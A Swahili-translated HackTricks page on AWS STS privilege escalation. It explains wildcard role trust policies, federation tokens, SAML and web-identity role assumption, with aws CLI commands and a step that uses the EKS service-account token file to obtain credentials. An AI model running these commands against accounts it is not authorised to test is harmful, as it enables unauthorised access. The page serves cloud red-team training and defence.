AWS - STS Privesc

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

STS

sts:AssumeRole

Kila jukumu linaumbwa na sera ya kuamini jukumu, sera hii inaonyesha nani anaweza kuchukua jukumu lililoundwa. Ikiwa jukumu kutoka akaunti ile ile linasema kwamba akaunti inaweza kulichukua, inamaanisha kwamba akaunti hiyo itakuwa na uwezo wa kufikia jukumu hilo (na kwa uwezekano privesc).

Kwa mfano, sera ifuatayo ya kuamini jukumu inaonyesha kwamba mtu yeyote anaweza kulichukua, hivyo basi mtumiaji yeyote ataweza privesc kwa ruhusa zinazohusiana na jukumu hilo.

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

Unaweza kujifanya kuwa jukumu linalotembea:

bash
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname

Madhara Yanayoweza Kutokea: Privesc kwa jukumu.

caution

Kumbuka kwamba katika kesi hii ruhusa sts:AssumeRole inahitaji kuwa imeonyeshwa katika jukumu la kutumia vibaya na sio katika sera inayomilikiwa na mshambuliaji.
Kwa ubaguzi mmoja, ili kuchukua jukumu kutoka akaunti tofauti akaunti ya mshambuliaji pia inahitaji kuwa na sts:AssumeRole juu ya jukumu.

sts:GetFederationToken

Kwa ruhusa hii inawezekana kuzalisha akidi za kujifanya kuwa mtumiaji yeyote:

bash
aws sts get-federation-token --name <username>

Hii ndiyo njia ambayo ruhusa hii inaweza kutolewa kwa usalama bila kutoa ufikiaji wa kujifanya kuwa watumiaji wengine:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "sts:GetFederationToken",
"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
}
]
}

sts:AssumeRoleWithSAML

Sera ya kuaminiana na jukumu hili inatoa watumiaji walioidhinishwa kupitia SAML ufikiaji wa kujifanya kuwa jukumu hilo.

Mfano wa sera ya kuaminiana yenye ruhusa hii ni:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OneLogin",
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}

Ili kuunda akreditif za kujifanya kuwa na jukumu kwa ujumla unaweza kutumia kitu kama:

bash
aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>

Lakini watoa huduma wanaweza kuwa na zana zao za kufanya hii iwe rahisi, kama onelogin-aws-assume-role:

bash
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600

Madhara Yanayoweza Kutokea: Privesc kwa jukumu.

sts:AssumeRoleWithWebIdentity

Ruhusa hii inatoa ruhusa ya kupata seti ya akreditivu za usalama za muda kwa watumiaji ambao wamethibitishwa katika programu za simu, wavuti, EKS... na mtoa huduma wa utambulisho wa wavuti. Jifunze zaidi hapa.

Kwa mfano, ikiwa akaunti ya huduma ya EKS inapaswa kuwa na uwezo wa kujifanya kama jukumu la IAM, itakuwa na tokeni katika /var/run/secrets/eks.amazonaws.com/serviceaccount/token na inaweza kuchukua jukumu na kupata akreditivu ikifanya kitu kama:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod

Unyanyasaji wa Shirikisho

AWS - Federation Abuse

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks